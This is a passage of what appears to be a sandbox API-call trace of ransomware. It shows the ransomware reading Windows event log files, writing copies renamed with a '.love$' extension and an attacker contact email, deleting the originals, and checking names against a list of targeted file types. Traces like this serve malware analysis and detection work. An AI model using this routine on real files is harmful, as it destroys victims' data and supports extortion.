"c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0226.611] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0226.611] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.611] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.611] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0226.611] GetLastError () returned 0x0 [0226.611] ReadFile (in: hFile=0x3bc, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x11000, lpOverlapped=0x0) returned 1 [0226.673] WriteFile (in: hFile=0x404, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x11010, lpOverlapped=0x0) returned 1 [0226.676] ReadFile (in: hFile=0x3bc, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0226.676] WriteFile (in: hFile=0x404, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x136, lpOverlapped=0x0) returned 1 [0226.676] SetEndOfFile (hFile=0x404) returned 1 [0226.676] CloseHandle (hObject=0x404) returned 1 [0226.680] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.680] SetEndOfFile (hFile=0x3bc) returned 1 [0226.681] CloseHandle (hObject=0x3bc) returned 1 [0226.681] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0226.682] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx")) returned 1 [0226.704] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0226.704] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0226.704] lstrlenW (lpString=".doc") returned 4 [0226.724] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0226.724] lstrlenW (lpString=".docx") returned 5 [0226.724] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0226.734] lstrlenW (lpString=".pdf") returned 4 [0226.734] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0226.734] lstrlenW (lpString=".xls") returned 4 [0226.734] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0226.734] lstrlenW (lpString=".xlsx") returned 5 [0226.734] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0226.734] lstrlenW (lpString=".ppt") returned 4 [0226.734] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0226.734] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0226.734] lstrlenW (lpString=".zip") returned 4 [0226.734] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0226.734] lstrlenW (lpString=".rar") returned 4 [0226.734] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0226.734] lstrlenW (lpString=".bz2") returned 4 [0226.734] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0226.734] lstrlenW (lpString=".7z") returned 3 [0226.734] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0226.734] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0226.734] lstrlenW (lpString=".dbf") returned 4 [0226.734] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0226.734] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0226.734] lstrlenW (lpString=".1cd") returned 4 [0226.734] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0226.734] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0226.734] lstrlenW (lpString=".jpg") returned 4 [0226.735] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0226.735] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0226.735] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0226.735] lstrlenW (lpString=".doc") returned 4 [0226.735] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0226.735] lstrlenW (lpString=".docx") returned 5 [0226.735] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0226.735] lstrlenW (lpString=".pdf") returned 4 [0226.735] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0226.735] lstrlenW (lpString=".xls") returned 4 [0226.735] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0226.735] lstrlenW (lpString=".xlsx") returned 5 [0226.735] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0226.735] lstrlenW (lpString=".ppt") returned 4 [0226.735] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0226.735] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0226.735] lstrlenW (lpString=".zip") returned 4 [0226.735] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0226.735] lstrlenW (lpString=".rar") returned 4 [0226.735] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0226.735] lstrlenW (lpString=".bz2") returned 4 [0226.735] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0226.735] lstrlenW (lpString=".7z") returned 3 [0226.735] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0226.735] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0226.735] lstrlenW (lpString=".dbf") returned 4 [0226.735] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0226.736] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0226.736] lstrlenW (lpString=".1cd") returned 4 [0226.736] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0226.736] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0226.736] lstrlenW (lpString=".jpg") returned 4 [0226.736] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0226.736] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0226.736] lstrlenW (lpString="Microsoft-Windows-User Profile Service%4Operational.evtx") returned 56 [0226.736] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0226.736] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=69632) returned 1 [0226.737] CloseHandle (hObject=0x404) returned 1 [0226.737] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx")) returned 0x20 [0226.737] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0226.737] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0226.737] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.737] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.737] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0226.738] GetLastError () returned 0x0 [0226.738] ReadFile (in: hFile=0x404, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x11000, lpOverlapped=0x0) returned 1 [0226.743] WriteFile (in: hFile=0x450, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x11010, lpOverlapped=0x0) returned 1 [0226.746] ReadFile (in: hFile=0x404, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0226.746] WriteFile (in: hFile=0x450, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x144, lpOverlapped=0x0) returned 1 [0226.746] SetEndOfFile (hFile=0x450) returned 1 [0226.746] CloseHandle (hObject=0x450) returned 1 [0226.753] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.753] SetEndOfFile (hFile=0x404) returned 1 [0226.754] CloseHandle (hObject=0x404) returned 1 [0226.755] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0226.755] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx")) returned 1 [0226.755] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0226.756] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0226.756] lstrlenW (lpString=".doc") returned 4 [0226.756] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0226.756] lstrlenW (lpString=".docx") returned 5 [0226.756] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0226.756] lstrlenW (lpString=".pdf") returned 4 [0226.756] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0226.756] lstrlenW (lpString=".xls") returned 4 [0226.756] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0226.756] lstrlenW (lpString=".xlsx") returned 5 [0226.756] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0226.756] lstrlenW (lpString=".ppt") returned 4 [0226.756] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0226.756] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0226.756] lstrlenW (lpString=".zip") returned 4 [0226.756] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0226.756] lstrlenW (lpString=".rar") returned 4 [0226.756] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0226.756] lstrlenW (lpString=".bz2") returned 4 [0226.756] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0226.756] lstrlenW (lpString=".7z") returned 3 [0226.756] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0226.756] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0226.756] lstrlenW (lpString=".dbf") returned 4 [0226.756] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0226.756] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0226.756] lstrlenW (lpString=".1cd") returned 4 [0226.756] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0226.757] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0226.757] lstrlenW (lpString=".jpg") returned 4 [0226.757] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0226.757] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0226.757] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0226.757] lstrlenW (lpString=".doc") returned 4 [0226.757] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0226.757] lstrlenW (lpString=".docx") returned 5 [0226.757] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0226.757] lstrlenW (lpString=".pdf") returned 4 [0226.757] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0226.757] lstrlenW (lpString=".xls") returned 4 [0226.757] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0226.757] lstrlenW (lpString=".xlsx") returned 5 [0226.757] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0226.757] lstrlenW (lpString=".ppt") returned 4 [0226.757] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0226.757] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0226.757] lstrlenW (lpString=".zip") returned 4 [0226.757] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0226.757] lstrlenW (lpString=".rar") returned 4 [0226.757] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0226.757] lstrlenW (lpString=".bz2") returned 4 [0226.757] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0226.757] lstrlenW (lpString=".7z") returned 3 [0226.757] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0226.757] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0226.758] lstrlenW (lpString=".dbf") returned 4 [0226.758] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0226.758] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0226.758] lstrlenW (lpString=".1cd") returned 4 [0226.758] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0226.758] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0226.758] lstrlenW (lpString=".jpg") returned 4 [0226.758] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0226.758] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0226.758] lstrlenW (lpString="Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 44 [0226.758] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0226.758] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=69632) returned 1 [0226.758] CloseHandle (hObject=0x404) returned 1 [0226.759] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx")) returned 0x20 [0226.759] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0226.759] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0226.759] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.759] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.759] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0226.759] GetLastError () returned 0x0 [0226.759] ReadFile (in: hFile=0x404, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x11000, lpOverlapped=0x0) returned 1 [0226.764] WriteFile (in: hFile=0x450, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x11010, lpOverlapped=0x0) returned 1 [0227.067] ReadFile (in: hFile=0x404, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0227.067] WriteFile (in: hFile=0x450, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x12c, lpOverlapped=0x0) returned 1 [0227.067] SetEndOfFile (hFile=0x450) returned 1 [0227.067] CloseHandle (hObject=0x450) returned 1 [0227.070] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.071] SetEndOfFile (hFile=0x404) returned 1 [0227.072] CloseHandle (hObject=0x404) returned 1 [0227.072] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0227.073] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx")) returned 1 [0227.074] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0227.074] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0227.074] lstrlenW (lpString=".doc") returned 4 [0227.074] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0227.074] lstrlenW (lpString=".docx") returned 5 [0227.074] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0227.074] lstrlenW (lpString=".pdf") returned 4 [0227.075] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0227.075] lstrlenW (lpString=".xls") returned 4 [0227.075] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0227.075] lstrlenW (lpString=".xlsx") returned 5 [0227.075] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0227.075] lstrlenW (lpString=".ppt") returned 4 [0227.075] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0227.075] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0227.075] lstrlenW (lpString=".zip") returned 4 [0227.075] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0227.075] lstrlenW (lpString=".rar") returned 4 [0227.075] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0227.075] lstrlenW (lpString=".bz2") returned 4 [0227.075] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0227.075] lstrlenW (lpString=".7z") returned 3 [0227.075] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0227.075] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0227.075] lstrlenW (lpString=".dbf") returned 4 [0227.075] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0227.075] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0227.075] lstrlenW (lpString=".1cd") returned 4 [0227.075] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0227.075] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0227.075] lstrlenW (lpString=".jpg") returned 4 [0227.075] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0227.075] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0227.075] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0227.076] lstrlenW (lpString=".doc") returned 4 [0227.076] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0227.076] lstrlenW (lpString=".docx") returned 5 [0227.076] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0227.076] lstrlenW (lpString=".pdf") returned 4 [0227.076] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0227.076] lstrlenW (lpString=".xls") returned 4 [0227.076] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0227.076] lstrlenW (lpString=".xlsx") returned 5 [0227.076] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0227.076] lstrlenW (lpString=".ppt") returned 4 [0227.076] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0227.076] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0227.076] lstrlenW (lpString=".zip") returned 4 [0227.076] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0227.076] lstrlenW (lpString=".rar") returned 4 [0227.076] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0227.076] lstrlenW (lpString=".bz2") returned 4 [0227.076] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0227.076] lstrlenW (lpString=".7z") returned 3 [0227.076] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0227.076] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0227.076] lstrlenW (lpString=".dbf") returned 4 [0227.076] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0227.076] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0227.076] lstrlenW (lpString=".1cd") returned 4 [0227.076] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0227.076] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0227.076] lstrlenW (lpString=".jpg") returned 4 [0227.077] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0227.077] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0227.077] lstrlenW (lpString="Microsoft-Windows-Windows Defender%4Operational.evtx") returned 52 [0227.077] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0227.077] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=69632) returned 1 [0227.077] CloseHandle (hObject=0x404) returned 1 [0227.077] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx")) returned 0x20 [0227.078] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0227.078] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0227.078] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.078] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.078] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0227.079] GetLastError () returned 0x0 [0227.079] ReadFile (in: hFile=0x404, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x11000, lpOverlapped=0x0) returned 1 [0227.121] WriteFile (in: hFile=0x450, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x11010, lpOverlapped=0x0) returned 1 [0227.124] ReadFile (in: hFile=0x404, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0227.124] WriteFile (in: 